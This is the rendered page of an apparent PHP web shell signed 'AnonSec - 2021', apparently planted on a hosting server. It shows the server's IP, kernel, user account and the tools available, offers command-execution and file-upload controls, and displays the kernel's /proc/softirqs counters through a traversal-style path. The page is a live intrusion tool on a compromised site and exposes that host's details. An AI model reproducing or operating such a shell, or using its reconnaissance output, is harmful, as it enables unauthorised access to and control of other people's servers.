Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../usr/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../usr/../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17401828   47170627   28370211   38545405   26029379   39630195   31515925   20410769   27065385   23606383   26656950   25168382  109903626   15545128   35162724   25413739
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         18          2          0          5          1
      NET_RX:   28307608   72193830   41768721  100103629   37221618  125816225   35690141   34171884   53453656   61880836   51692490   37890964   54481534   27538081  107250235  115131693
       BLOCK:    1279940    2169455    1978465    1579781    1315127    1382651    1344432    1265933    1424110    1204158    1082246    1285473    1245587    1274891    1427149    1554233
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5509864   13706937    4127327   25100982    7994057   31667730    8361376    6831314   11821648    7811873   16060711    9435136   15337967    4461886   24687450    4347971
       SCHED:   44146276   21385798   14176443   17831560   11689058   20047889   12024932   10272006   13055179   13779316   11100064   13701477   23320846    9273835   17505095   22744072
     HRTIMER:       2097       5331       3711       9196       2230      15143       1664       2585       4989       2699       5714       4318       7117       1398       9317       1367
         RCU:   43204505   78569823   55893861   90830802   52858381  109392801   53795689   46535448   61053480   76877085   48357379   49191632   99487480   42012035   98521476  148498152

AnonSec - 2021